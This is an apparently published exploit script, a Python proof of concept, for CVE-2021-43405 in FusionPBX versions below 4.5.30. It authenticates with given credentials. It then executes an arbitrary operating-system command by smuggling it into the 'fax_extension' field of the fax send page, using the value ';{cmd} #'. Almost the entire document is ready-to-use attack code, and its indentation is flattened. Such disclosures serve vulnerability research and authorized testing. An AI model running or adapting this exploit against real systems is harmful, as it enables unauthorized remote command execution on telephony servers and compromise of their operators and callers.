FusionPBX 4.5.29 Remote Code Execution

`# Exploit Title: FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated)  
# Date: 11/08/2021  
# Exploit Author: Luska  
# Vendor Homepage: https://www.fusionpbx.com/  
# Software Link: https://github.com/fusionpbx/fusionpbx  
# Version: < 4.5.30  
# Tested on: Debian  
# CVE : CVE-2021-43405  
  
#!/usr/bin/python3  
import requests  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
import argparse  
  
  
cookies = {'PHPSESSID': '31337'}  
proxy = {'http': 'http://127.0.0.1:8080'}  
  
def login(url, username, password):  
data = {  
'username': username,  
'password': password  
}  
r = requests.post(url + '/core/user_settings/user_dashboard.php', data=data, cookies=cookies)  
return r.status_code  
  
def exploit_request(url, cmd):  
print('[+] Sending Exploit Request')  
mp_encoder = MultipartEncoder(fields={ 'fax_subject': '1337', 'fax_extension': f';{cmd} #', 'action': 'send', 'submit': 'send' })  
r = requests.post(url + '/app/fax/fax_send.php', cookies=cookies, headers={'Content-Type': mp_encoder.content_type}, data=mp_encoder, proxies=proxy)  
return r.status_code  
  
def exploit(url, username, password, cmd):  
if login(url,username,password) == 200:  
print('[+] Login Successful')  
exploit_request(url, cmd)  
print('[+] Exploit Sucessful')  
else:  
print('[-] Login Failed')  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser(description='[*] FusionPBX < 4.5.30 Remote Code Execution | CVE-2021-43405')  
  
parser.add_argument('-t', metavar='<target/host URL>', help='Target/host URL, example: http://127.0.0.1', required=True)  
parser.add_argument('-u', metavar='<user>', help='User to login', required=True)  
parser.add_argument('-p', metavar='<password>', help='User\'s password', required=True)  
parser.add_argument('-c', metavar='<cmd>', help='Command to be executed', required=True)  
  
args = parser.parse_args()  
  
target = args.t  
user = args.u  
password = args.p  
cmd = args.c  
  
exploit(target, user, password, cmd)  
  
`